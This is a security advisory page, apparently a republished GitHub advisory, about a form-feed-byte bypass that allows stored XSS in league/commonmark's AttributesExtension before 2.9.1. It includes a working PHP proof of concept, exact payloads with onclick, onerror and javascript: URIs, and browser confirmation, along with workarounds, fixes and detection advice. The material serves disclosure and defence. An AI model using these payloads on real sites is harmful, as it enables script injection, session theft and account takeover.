GHSA-f8fg-pg57-v4j8: XSS

Published Sep 1, 2026
·
Updated

Summary

The AttributesExtension documents a security guarantee:

Note: Attributes starting with on (e.g. onclick or onerror) are capable of executing JavaScript code and are therefore never allowed by default. You must explicitly add them to the allow list if you want to use them. — docs/2.x/extensions/attributes.md

Prefixing the attribute name with a single U+000C FORM FEED byte defeats that guarantee. {<FF>onclick="alert(1)"} passes through AttributesHelper::filterAttributes() untouched and is written verbatim into the output, where browsers parse it as a genuine onclick handler.

The same prefix defeats the allowunsafelinks check, letting a javascript: URI through on href / src even when allowunsafelinks is false.

This bypasses the fix shipped in the 2.7.0 security release ("Fix XSS in AttributesExtension", 43207253ea5f14867c77c697cd3838c446cadcea), which added filterAttributes() for the express purpose of blocking these attributes.

Throughout this report <FF> denotes a literal U+000C byte ("\x0C" in PHP). It is invisible in rendered text, so all payloads below are written with PHP escape sequences to stay unambiguous.

Details

Three behaviours combine.

1. \x0C survives the parser's trim().

AttributesHelper::SINGLEATTRIBUTE begins with \s, and Cursor::match() returns $matches[0][0] — the entire match, including that leading whitespace. The result is cleaned with PHP's trim():

php // src/Extension/Attributes/Util/AttributesHelper.php:62 while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLEATTRIBUTE . '/i'))) {

PCRE \s matches \x0C, but PHP's default trim() charlist is " \t\n\r\0\x0B" — it includes the vertical tab \x0B but not the form feed \x0C. The byte is therefore consumed by the regex, retained in the returned match, and not stripped. It ends up inside the attribute name:

php // src/Extension/Attributes/Util/AttributesHelper.php:94 $attributes[\trim($name)] = \trim($value); // $name === "\x0Conclick"

\x0C is the only byte with this property: every other character the HTML5 tokenizer treats as whitespace (\x09, \x0A, \x0D, \x20), plus \x0B, is in PHP's trim charlist. The PoC includes a \x0B case as a control, and it is correctly stripped.

2. The filter's string comparisons miss it.

filterAttributes() compares the raw name against literal strings:

php // src/Extension/Attributes/Util/AttributesHelper.php:148-166 $attrNameLower = \strtolower($name); // "\x0conclick" ... ($attrNameLower === 'href' || $attrNameLower === 'src') ... // false ... \strstartswith($attrNameLower, 'on') ... // false -> not removed

3. The renderer never escapes attribute names.

php // src/Util/HtmlElement.php:123-129 $result .= ' ' . $key . '="' . Xml::escape($value) . '"'; // $key emitted raw

Because the HTML5 tokenizer treats \x0C as whitespace between attributes, the browser reads the name as plain onclick.

PoC

php <?php require 'vendor/autoload.php';

use League\CommonMark\Environment\Environment; use League\CommonMark\Extension\Attributes\AttributesExtension; use League\CommonMark\Extension\CommonMark\CommonMarkCoreExtension; use League\CommonMark\MarkdownConverter;

// The most defensive configuration docs/2.x/security.md recommends. $env = new Environment([ 'htmlinput' => 'escape', 'allowunsafelinks' => false, 'maxnestinglevel' => 100, // 'attributes' => ['allow' => [...]] deliberately left at its default [] ]); $env->addExtension(new CommonMarkCoreExtension()); $env->addExtension(new AttributesExtension()); $converter = new MarkdownConverter($env);

$FF = "\x0C";

echo $converter->convert('hello {onclick="alert(1)"}')->getContent(); // <p>hello</p> <- filtered, as documented

echo $converter->convert('hello {' . $FF . 'onclick="alert(1)"}')->getContent(); // <p \x0Conclick="alert(1)">hello</p> <- BYPASS

Full observed output (\x0C shown escaped; it is a literal single byte in the real output):

| # | Markdown input | Rendered output | Result | |---|---|---|---| | A | hello {onclick="alert(1)"} | <p>hello</p> | filtered (control) | | B | hello {\x0Conclick="alert(1)"} | <p \x0Conclick="alert(1)">hello</p> | bypass | | C | hello {\x0Bonclick="alert(1)"} | <p>hello</p> | filtered (control) | | D | click) | <p><a>click</a></p> | filtered (control) | | E | click{\x0Chref="javascript:alert(1)"} | <p><a \x0Chref="javascript:alert(1)" href="https://example.com">click</a></p> | bypass | | F | !x{\x0Conerror="alert(1)"} | <p><img \x0Conerror="alert(1)" src="…" alt="x" /></p> | bypass | | G | # heading + newline + {\x0Conclick="alert(1)"} | <h1 \x0Conclick="alert(1)">heading</h1> | bypass (block syntax) |

In case E the injected href precedes the legitimate one. Per the HTML5 duplicate-attribute rule the first occurrence wins, so the javascript: URI is the one the browser actually uses.

Browser confirmation. Loading the library's unmodified output in Chrome for Testing 148:

<img> attribute names : ["onerror","src","alt"] <- parsed as a real onerror typeof img.onerror : function <- bound as an event handler handlers fired : ["img-onerror"] <- fired on load, no interaction document.title : XSS-FIRED link href attribute : "javascript:void(0)" link href property : "javascript:void(0)" <- javascript: URI is the effective href page errors : []

The onerror case executes with no user interaction — rendering the attacker's Markdown is sufficient.

Verified against git HEAD (f966b17a) and against tag 2.9.0, on PHP 8.5.8.

Impact

Stored cross-site scripting in any application that renders untrusted Markdown with AttributesExtension enabled and attributes.allow left at its default [] — even when the application has followed every hardening step in docs/2.x/security.md (htmlinput => 'escape', allowunsafelinks => false, maxnestinglevel => 100).

Consequences are the usual for stored XSS: session and cookie theft, actions performed as the viewing user, and account takeover where the host application permits it. Because the payload can be attached to an image (onerror), it fires on page load without requiring the victim to interact with anything.

The affected configuration is the extension's default: attributes.allow defaults to [], and the documentation describes that default as safe with respect to on attributes.

Workaround for users

Setting an explicit allow list takes the other branch of filterAttributes(), which drops the form-feed name because it is not in the list:

php $config = ['attributes' => ['allow' => ['id', 'class', 'align']]];

Verified: hello {\x0Conclick="alert(1)"} then renders as <p>hello</p>.

Suggested fix

The narrow fix is to add \x0C to the trim charlist at AttributesHelper.php lines 62, 89, 90 and 94. That closes this instance but leaves the shape of the problem in place.

A more durable fix is to reject anything that is not a well-formed attribute name in filterAttributes(), reusing the constant the parser already defines (RegexHelper is already imported in that file):

php foreach ($attributes as $name => $value) { // Names are compared against literal strings below and emitted without escaping, // so anything that isn't a plain attribute name must not get through. if (\pregmatch('/^' . RegexHelper::PARTIALATTRIBUTENAME . '$/i', $name) !== 1) { unset($attributes[$name]); continue; }

$attrNameLower = \strtolower($name); // ... existing logic unchanged }

As defence in depth, HtmlElement::toString() could validate or escape $key. It currently trusts its callers to supply safe attribute names, and filterAttributes() is the only thing standing between that method and user-supplied input.

Affected Software

1 affected componentFixes available
composer/league/commonmark>=2.7.0<2.9.1
2.9.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/league/commonmark to a version that resolves this vulnerability.

    Fixed in 2.9.1
  2. Upgrade

    Upgrade League\CommonMark\Extension\AttributesExtension to a version that resolves this vulnerability.

    Patch 2.7.0
  3. Configuration

    Set the AttributesExtension configuration so `attributes.allow` is an explicit allow list of safe attribute names (the report shows the bypass occurs when `attributes.allow` is left at its default `[]`, and examples of expected safe names include `id`, `class`, and `align`).

    AttributesExtension (League\CommonMark) attributes.allow = [] (explicitly set to a strict allow list of safe attribute names; note that default is [] in the report)
  4. Configuration

    Update the AttributesExtension parsing logic so that the form-feed byte U+000C ("\x0C") is included in the `trim()` charlist used by `AttributesHelper.php` at lines 62, 89, and 90, so that attribute names beginning with `{\x0C...}` cannot bypass the filter.

    AttributesExtension / AttributesHelper trim charlist for attribute-name parsing = add literal U+000C FORM FEED ("\x0C") to the trim character list (in addition to the existing PHP trim defaults)

Event History

Sep 1, 2026
Advisory Published
via GitHub·08:18 PM
Data Sourced
via GitHub·08:18 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are realistically exposed?

Deployments using AttributesExtension are exposed when an attacker can supply content containing attribute syntax that is rendered in a browser. The attacker does not need authentication or user interaction beyond getting the crafted content rendered.

2

Are the documented default protections affected?

Yes. A single U+000C FORM FEED byte before an attribute name bypasses the default block on on* event-handler attributes. It also bypasses the allow_unsafe_links=false check for javascript: URIs in href and src attributes.

3

What can be done while patching is unavailable?

Reject or remove literal U+000C FORM FEED bytes from untrusted input before it reaches AttributesExtension. This prevents the prefix used to bypass attribute and unsafe-link filtering.

4

How can I look for attempted exploitation?

Search submitted content and generated output for the literal U+000C byte (\x0C), particularly immediately before on* attribute names or href and src attributes. The byte is invisible in rendered text, so inspection must preserve control characters.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203